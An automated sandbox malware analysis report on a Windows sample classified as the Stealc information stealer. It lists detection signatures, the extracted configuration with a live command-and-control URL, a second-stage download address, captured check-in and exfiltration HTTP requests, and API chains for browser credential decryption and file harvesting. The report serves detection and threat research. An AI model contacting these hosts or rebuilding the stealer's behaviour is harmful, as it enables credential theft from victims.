Windows Analysis Report
jicQJ2cdlM.exe

Overview

General Information

Sample name: jicQJ2cdlM.exe
renamed because original name is a hash value
Original sample name: c26c0c92ef5ad707c6f9dd37b2c016ae.exe
Analysis ID: 1542867
MD5: c26c0c92ef5ad707c6f9dd37b2c016ae
SHA1: 7269e1394aeb4bb014babee479e7a520a7bfe6d0
SHA256: 9cebd9110296bdd93cb0d23ed1a591d097a49f3827b364daf44615885dbdcff7
Tags: exeStealcuser-abuse_ch
Infos:

Detection

Stealc
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for dropped file
Detected unpacking (changes PE section rights)
Detected unpacking (overwrites its own PE header)
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Powershell download and execute
Yara detected Stealc
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Found evasive API chain (may stop execution after checking locale)
Machine Learning detection for dropped file
Machine Learning detection for sample
Searches for specific processes (likely to inject)
AV process strings found (often used to terminate AV products)
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to create guard pages, often used to hinder reverse engineering and debugging
Contains functionality to dynamically determine API calls
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found evaded block containing many API calls
Found evasive API chain (date check)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
One or more processes crash
PE file contains sections with non-standard names
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Stealc Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

AV Detection
barindex
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\ScreenUpdateSync[1].exe Avira: detection malicious, Label: HEUR/AGEN.1312567
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Avira: detection malicious, Label: HEUR/AGEN.1312567
Found malware configuration
Source: 00000001.00000003.1833028905.0000000002D60000.00000004.00001000.00020000.00000000.sdmp Malware Configuration Extractor: StealC {"C2 url": "http://62.204.41.177/edd20096ecef326d.php", "Botnet": "default9_cap"}
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\ScreenUpdateSync[1].exe ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe ReversingLabs: Detection: 34%
Multi AV Scanner detection for submitted file
Source: jicQJ2cdlM.exe ReversingLabs: Detection: 31%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\ScreenUpdateSync[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: jicQJ2cdlM.exe Joe Sandbox ML: detected
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_0040C820 memset,lstrlenA,CryptStringToBinaryA,memcpy,lstrcatA,lstrcatA,lstrcatA, 1_2_0040C820
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_00407240 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree, 1_2_00407240
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_00409AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree, 1_2_00409AC0
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_00418EA0 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA, 1_2_00418EA0
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_00409B60 CryptUnprotectData,LocalAlloc,memcpy,LocalFree, 1_2_00409B60
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_02D1CA87 memset,lstrlen,CryptStringToBinaryA,memcpy,lstrcat,lstrcat,lstrcat, 1_2_02D1CA87
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_02D174A7 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree, 1_2_02D174A7
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_02D19DC7 CryptUnprotectData,LocalAlloc,memcpy,LocalFree, 1_2_02D19DC7
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_02D29107 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA, 1_2_02D29107
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_02D19D27 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree, 1_2_02D19D27

Compliance
barindex
Detected unpacking (overwrites its own PE header)
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Unpacked PE file: 0.2.jicQJ2cdlM.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Unpacked PE file: 1.2.A8A9.tmp.exe.400000.1.unpack
Uses 32bit PE files
Source: jicQJ2cdlM.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe File opened: C:\Windows\SysWOW64\msvcr100.dll Jump to behavior
Source: unknown HTTPS traffic detected: 104.21.56.70:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_0040E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA, 1_2_0040E430
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_004138B0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose, 1_2_004138B0
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_00414570 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA, 1_2_00414570
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_00414910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 1_2_00414910
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_0040ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose, 1_2_0040ED20
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_0040BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose, 1_2_0040BE70
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_0040DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 1_2_0040DE10
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_004016D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 1_2_004016D0
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_0040DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 1_2_0040DA80
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_00413EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose, 1_2_00413EA0
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_0040F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 1_2_0040F6B0
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_02D1E697 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA, 1_2_02D1E697
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_02D247D7 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen, 1_2_02D247D7
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_02D1EF87 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose, 1_2_02D1EF87
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_02D24B77 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 1_2_02D24B77
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_02D23B17 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose, 1_2_02D23B17
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_02D1C0D7 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose, 1_2_02D1C0D7
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_02D1DCE7 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 1_2_02D1DCE7
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_02D1E077 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 1_2_02D1E077
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_02D1F917 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 1_2_02D1F917
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_02D24107 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose, 1_2_02D24107
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_02D11937 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 1_2_02D11937

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49732 -> 62.204.41.177:80
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: http://62.204.41.177/edd20096ecef326d.php
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 26 Oct 2024 16:58:19 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Sat, 26 Oct 2024 16:45:02 GMTETag: "62400-62563f4f86bc9"Accept-Ranges: bytesContent-Length: 402432Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 93 81 e6 bb d7 e0 88 e8 d7 e0 88 e8 d7 e0 88 e8 6a af 1e e8 d6 e0 88 e8 c9 b2 0c e8 ca e0 88 e8 c9 b2 1d e8 c3 e0 88 e8 c9 b2 0b e8 ba e0 88 e8 f0 26 f3 e8 d2 e0 88 e8 d7 e0 89 e8 ac e0 88 e8 c9 b2 02 e8 d6 e0 88 e8 c9 b2 1c e8 d6 e0 88 e8 c9 b2 19 e8 d6 e0 88 e8 52 69 63 68 d7 e0 88 e8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 3e fe b8 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 a4 03 00 00 d8 72 02 00 00 00 00 1e 17 00 00 00 10 00 00 00 c0 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 70 76 02 00 04 00 00 15 54 06 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 ec db 03 00 3c 00 00 00 00 60 74 02 70 05 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 b4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 4c a2 03 00 00 10 00 00 00 a4 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 ca 25 00 00 00 c0 03 00 00 26 00 00 00 a8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 78 14 70 02 00 f0 03 00 00 18 00 00 00 ce 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 77 65 72 69 72 69 74 00 44 00 00 00 10 74 02 00 38 00 00 00 e6 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 70 05 02 00 00 60 74 02 00 06 02 00 00 1e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 62.204.41.177Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /edd20096ecef326d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJEHJKJEBGHJJKEBGIECHost: 62.204.41.177Content-Length: 219Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 38 35 45 46 46 41 42 36 38 30 38 33 36 37 34 34 38 30 34 36 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 39 5f 63 61 70 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 43 2d 2d 0d 0a Data Ascii: ------KJEHJKJEBGHJJKEBGIECContent-Disposition: form-data; name="hwid"985EFFAB68083674480464------KJEHJKJEBGHJJKEBGIECContent-Disposition: form-data; name="build"default9_cap------KJEHJKJEBGHJJKEBGIEC--
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 176.113.115.37 176.113.115.37
Source: Joe Sandbox View IP Address: 62.204.41.177 62.204.41.177
Source: Joe Sandbox View IP Address: 104.21.56.70 104.21.56.70
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: TNNET-ASTNNetOyMainnetworkFI TNNET-ASTNNetOyMainnetworkFI
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49731 -> 176.113.115.37:80
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49730 -> 104.21.56.70:443
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.37
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_00402A14 InternetOpenW,InternetOpenUrlW,GetTempPathW,GetTempFileNameW,CreateFileW,InternetReadFile,WriteFile,CloseHandle,CloseHandle,ShellExecuteExW,WaitForSingleObject,CloseHandle,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle, 0_2_00402A14
Source: global traffic HTTP traffic detected: GET /track_prt.php?sub=0&cc=DE HTTP/1.1User-Agent: ShareScreenHost: post-to-me.com
Source: global traffic HTTP traffic detected: GET /ScreenUpdateSync.exe HTTP/1.1User-Agent: ShareScreenHost: 176.113.115.37
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 62.204.41.177Connection: Keep-AliveCache-Control: no-cache
Source: global traffic DNS traffic detected: DNS query: post-to-me.com
Source: unknown HTTP traffic detected: POST /edd20096ecef326d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJEHJKJEBGHJJKEBGIECHost: 62.204.41.177Content-Length: 219Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 38 35 45 46 46 41 42 36 38 30 38 33 36 37 34 34 38 30 34 36 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 39 5f 63 61 70 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 43 2d 2d 0d 0a Data Ascii: ------KJEHJKJEBGHJJKEBGIECContent-Disposition: form-data; name="hwid"985EFFAB68083674480464------KJEHJKJEBGHJJKEBGIECContent-Disposition: form-data; name="build"default9_cap------KJEHJKJEBGHJJKEBGIEC--
Source: jicQJ2cdlM.exe, jicQJ2cdlM.exe, 00000000.00000003.4048046249.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, jicQJ2cdlM.exe, 00000000.00000002.4174714149.00000000008A4000.00000004.00000020.00020000.00000000.sdmp, jicQJ2cdlM.exe, 00000000.00000003.4048093961.000000000086F000.00000004.00000020.00020000.00000000.sdmp, jicQJ2cdlM.exe, 00000000.00000003.1784148548.000000000089D000.00000004.00000020.00020000.00000000.sdmp, jicQJ2cdlM.exe, 00000000.00000002.4174618385.000000000086F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://176.113.115.37/ScreenUpdateSync.exe
Source: jicQJ2cdlM.exe, 00000000.00000002.4174326271.0000000000400000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: http://176.113.115.37/ScreenUpdateSync.exe48rt8k8rt4rwe5rbSOFTWARE
Source: jicQJ2cdlM.exe, 00000000.00000003.4048046249.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, jicQJ2cdlM.exe, 00000000.00000002.4174714149.00000000008A4000.00000004.00000020.00020000.00000000.sdmp, jicQJ2cdlM.exe, 00000000.00000003.1784148548.000000000089D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://176.113.115.37/ScreenUpdateSync.exeP
Source: jicQJ2cdlM.exe, 00000000.00000003.1784148548.000000000089D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://176.113.115.37/ScreenUpdateSync.exea
Source: jicQJ2cdlM.exe, 00000000.00000003.1784148548.000000000089D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://176.113.115.37/ScreenUpdateSync.exek4
Source: A8A9.tmp.exe, 00000001.00000002.2054517436.0000000002E39000.00000004.00000020.00020000.00000000.sdmp, A8A9.tmp.exe, 00000001.00000002.2054458680.0000000002DFE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://62.204.41.177
Source: A8A9.tmp.exe, 00000001.00000002.2054517436.0000000002E39000.00000004.00000020.00020000.00000000.sdmp, A8A9.tmp.exe, 00000001.00000002.2054517436.0000000002E6A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://62.204.41.177/
Source: A8A9.tmp.exe, 00000001.00000002.2054517436.0000000002E6A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://62.204.41.177/$c
Source: A8A9.tmp.exe, 00000001.00000002.2054517436.0000000002E39000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://62.204.41.177/K
Source: A8A9.tmp.exe, 00000001.00000002.2054517436.0000000002E6A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://62.204.41.177/edd20096ecef326d.php
Source: A8A9.tmp.exe, 00000001.00000002.2054517436.0000000002E33000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://62.204.41.177/edd20096ecef326d.php6
Source: A8A9.tmp.exe, 00000001.00000002.2054517436.0000000002E6A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://62.204.41.177/edd20096ecef326d.phpGc:
Source: A8A9.tmp.exe, 00000001.00000002.2054517436.0000000002E6A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://62.204.41.177/edd20096ecef326d.phpIc
